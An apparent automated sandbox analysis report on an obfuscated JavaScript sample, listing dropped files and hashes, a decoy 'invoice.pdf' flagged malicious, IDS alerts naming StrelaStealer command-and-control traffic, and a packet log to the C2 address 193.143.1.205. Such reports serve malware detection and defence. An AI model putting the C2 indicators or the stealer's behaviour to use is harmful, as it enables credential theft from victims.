SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6e6172e3-41df-40cb-a483-8ac25ebd2bd7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\728feacd-5217-4c73-bfd7-fe0f77b0d421.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/x3GZftwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J3GZVwZG5WLxB3mlind9i4ufFXpAXkru
MD5:	AD8FA68AE8EC3624D34A7140F884772B
SHA1:	869AE04E5DA90B965F827ACCC3FCF28FAE0195D8
SHA-256:	5D1AB0F0194CA1128AA56B192BFC447EFCD58C3535D6DF08FCC763817A0CCAB4
SHA-512:	80ADAA07B14E057E7245E73A51B2AEABD853F22C61B54BCC94D93F71EDAA7CFFAB2EE3CE466C6F8EF82967F723F64E44D21090F029DB6D7DDBC6BDDF3A226289
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8d43e2c6-a97a-41e2-90fc-32f5d8966dcf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17432), with CRLF line terminators
Entropy (8bit):	4.896304487461265
TrID:
File name:	207059547457320193.js
File size:	21'014 bytes
MD5:	f206696e6dd0cc3df1468e4ed9413034
SHA1:	f063f877155c6298245a5bc3062c4407df1d3997
SHA256:	2d4885cfc41cc08e8a551739fe785c08dcb02ca4d5fe14c26f035ebfbef1053e
SHA512:	9a85c83ec4aaf690ae81d165b4f07095c225f4d2888f57f9813c73dae308a50287fe6f155c4710b162a5b8e50a341c44e11ee5d5bf7736e2bef99732d35ec57c
SSDEEP:	384:I/nUVNAmk/tbvjRc2csYBy1Zdi2Iz2JwCA1KgLHd6or/y+vjnFLT61kT99VoZmMF:KUwmkB6s9A4N/
TLSH:	B69242D8C6198D5701F183ABA2CD0CE6508C019CDAF898FF749556AD02DDEF2A4EDAF4
File Content Preview:	function trxwigco(){ofijxw=[1031,3079,5127,4103,2055,3072];var piocjr=this[csoyr+tromgwlc+qwpmw+ljzuhjk+jmfcdwsxc+ymybsl+sgwtaekws+rjwomhghx](this[fqhtfqz+zbwhxaws+vntiriiq+qwpmw+fmqgtsg+csoyr+rjwomhghx][cuyckx+qwpmw+jmfcdwsxc+tromgwlc+rjwomhghx+jmfcdwsxc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:36:57.661496+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T08:36:57.661496+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T08:37:00.120109+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:36:56.857891083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:56.862900019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:56.863054037 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:56.865797043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:56.870671988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661278009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661348104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661401033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661436081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661495924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.661495924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.661504984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661539078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661575079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661595106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.661607981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661642075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661665916 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.661679029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.661736965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.666532993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.704199076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.704257011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.704320908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.745014906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.785762072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.785779953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.785794973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.785837889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.785902977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.785953045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.785979986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.786014080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.786025047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.786052942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.786199093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.786211967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.786242008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.786834955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.786880016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.786889076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.787112951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.787168026 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.787168980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.787179947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.787226915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.787261963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.787273884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.787322998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.787961006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.788024902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.788037062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.788105965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.788171053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.788192034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.788248062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.788866997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.788953066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.836693048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.836719990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.836730003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.836811066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.876569033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.876666069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.910451889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910486937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910521030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910562992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.910576105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910614967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910649061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910657883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.910702944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910705090 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.910738945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.910808086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.911134958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911190033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911222935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911233902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.911478996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911513090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911534071 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.911549091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911602974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.911633968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911668062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911705971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.911726952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.912168980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912220955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912226915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.912255049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912292957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.912334919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912369013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912417889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.912434101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912467003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.912507057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.913160086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913192987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913237095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.913244009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913276911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913311005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913345098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913372040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.913378954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.913410902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.913965940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914016008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.914017916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914052963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914092064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914122105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.914128065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914175987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.914207935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914241076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914292097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.914966106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.914999962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.915035963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.915045977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.915071011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.915149927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.928894997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.928931952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.928992033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.929013968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.952971935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.953023911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.953033924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.967478037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.967513084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.967547894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:57.967570066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:57.967587948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.001549959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.001599073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.001682997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035027027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035044909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035058022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035069942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035080910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035093069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035100937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035139084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035265923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035347939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035382986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035413027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035444975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035479069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035496950 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035516024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035594940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035618067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035726070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035779953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035784960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035815954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035867929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035900116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.035950899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.035985947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036007881 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036046028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036078930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036109924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036114931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036158085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036175966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036511898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036528111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036542892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036557913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036581039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036587954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036596060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036612988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036627054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036637068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036676884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036854982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036866903 CET	80	49705	193.143.1.205	192.168.2.8
